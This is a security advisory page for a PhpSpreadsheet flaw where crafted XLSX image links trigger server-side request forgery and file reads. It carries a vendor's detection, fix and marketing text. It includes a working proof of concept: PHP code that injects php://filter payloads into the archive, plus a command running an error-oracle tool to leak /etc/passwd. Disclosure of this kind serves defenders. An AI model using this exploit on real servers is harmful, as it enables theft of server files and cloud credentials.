GHSA-5gpr-w2p5-6m37
HIGHPhpSpreadsheet allows absolute path traversal and Server-Side Request Forgery when opening XLSX file
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpspreadsheet🐘phpoffice/phpexcelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
It's possible for an attacker to construct an XLSX file which links media from external URLs. When opening the XLSX file, PhpSpreadsheet retrieves the image size and type by reading the file contents, if the provided path is a URL. By using specially crafted php://filter URLs an attacker can leak the contents of any file or URL.
Note that this vulnerability is different from GHSA-w9xv-qf98-ccq4, and resides in a different component.
Details
When an XLSX file is opened, the XLSX reader calls setPath() with the path provided in the xl/drawings/_rels/drawing1.xml.rels file in the XLSX archive:
if (isset($images[$embedImageKey])) {
// ...omit irrelevant code...
} else {
$linkImageKey = (string) self::getArrayItem(
$blip->attributes('http://schemas.openxmlformats.org/officeDocument/2006/relationships'),
'link'
);
if (isset($images[$linkImageKey])) {
$url = str_replace('xl/drawings/', '', $images[$linkImageKey]);
$objDrawing->setPath($url);
}
}
setPath() then reads the file in order to determine the file type and dimensions, if the path is a URL:
public function setPath(string $path, bool $verifyFile = true, ?ZipArchive $zip = null): static
{
if ($verifyFile && preg_match('~^data:image/[a-z]+;base64,~', $path) !== 1) {
// Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979
if (filter_var($path, FILTER_VALIDATE_URL)) {
$this->path = $path;
// Implicit that it is a URL, rather store info than running check above on value in other places.
$this->isUrl = true;
$imageContents = file_get_contents($path);
// ... check dimensions etc. ...
It's important to note here, that filter_var considers also file:// and php:// URLs valid.
The attacker can set the path to anything:
<Relationship Id="rId1"
Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
Target="this can be whatever" />
The contents of the file are not made available for the attacker directly. However, using PHP filter URLs it's possible to construct an error oracle which leaks a file or URL contents one character at a time. The error oracle was originally invented by @hash_kitten, and the folks at Synacktiv have developed a nice tool for easily exploiting those: https://github.com/synacktiv/php_filter_chains_oracle_exploit
PoC
Target file:
<?php
require 'vendor/autoload.php';
// Attack part: this would actually be done by the attacker on their machine and the resulting XLSX uploaded, but to
// keep the PoC simple, I've combined this into the same file.
$file = "book_tampered.xlsx";
$payload = $_POST["payload"]; // the payload comes from the Python script
copy("book.xlsx",$file);
$zip = new ZipArchive;
$zip->open($file);
$path = "xl/drawings/_rels/drawing1.xml.rels";
$content = $zip->getFromName($path);
$content = str_replace("../media/image1.gif", $payload, $content);
$zip->addFromString($path, $content);
$path = "xl/drawings/drawing1.xml";
$content = $zip->getFromName($path);
$content = str_replace('r:embed="rId1"', 'r:link="rId1"', $content);
$zip->addFromString($path, $content);
$zip->close();
// The actual target - note that simply opening the file is sufficient for the attack
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader("Xlsx");
$spreadsheet = $reader->load(__DIR__ . '/' . $file);
Add this file in the same directory: book.xlsx
Serve the PoC from a web server. Ensure your PHP memory limit is <= 128M - otherwise you'll need to edit the Python script below.
Download the error oracle Python script from here: https://github.com/synacktiv/php_filter_chains_oracle_exploit. If your memory limit is greater than 128M, you'll need to edit the Python script's bruteforcer.py file to change self.blow_up_inf = self.join(*[self.blow_up_utf32]*15) to self.blow_up_inf = self.join(*[self.blow_up_utf32]*20). This is needed so that it generates large-enough payloads to trigger the out of memory errors the oracle relies on. Also install the script's dependencies with pip.
Then run the Python script with:
python3 filters_chain_oracle_exploit.py --target [URL of the script] --parameter payload --file /etc/passwd
Note that the attack relies on certain character encodings being supported by the system's iconv library, because PHP uses that. As far as I know, most Linux distributions have them, but notably MacOS does not. So if you're developing on a Mac, you'll want to run your server in a virtual machine with Linux.
Here's the results I got after about a minute of bruteforcing:
Impact
An attacker can access any file on the server, or leak information form arbitrary URLs, potentially exposing sensitive information such as AWS IAM credentials.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.2.0&&< 2.3.0 | 2.3.0 |
| 🐘Packagist | phpoffice/phpspreadsheet | all versions | 1.29.2 |
| 🐘Packagist | phpoffice/phpspreadsheet | ≥ 2.0.0&&< 2.1.1 | 2.1.1 |
| 🐘Packagist | phpoffice/phpexcel | all versions | No fix |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for phpoffice/phpspreadsheet. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update phpoffice/phpspreadsheet to 2.3.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5gpr-w2p5-6m37 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5gpr-w2p5-6m37 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5gpr-w2p5-6m37. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5gpr-w2p5-6m37 in your dependencies?
O3 detects GHSA-5gpr-w2p5-6m37 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.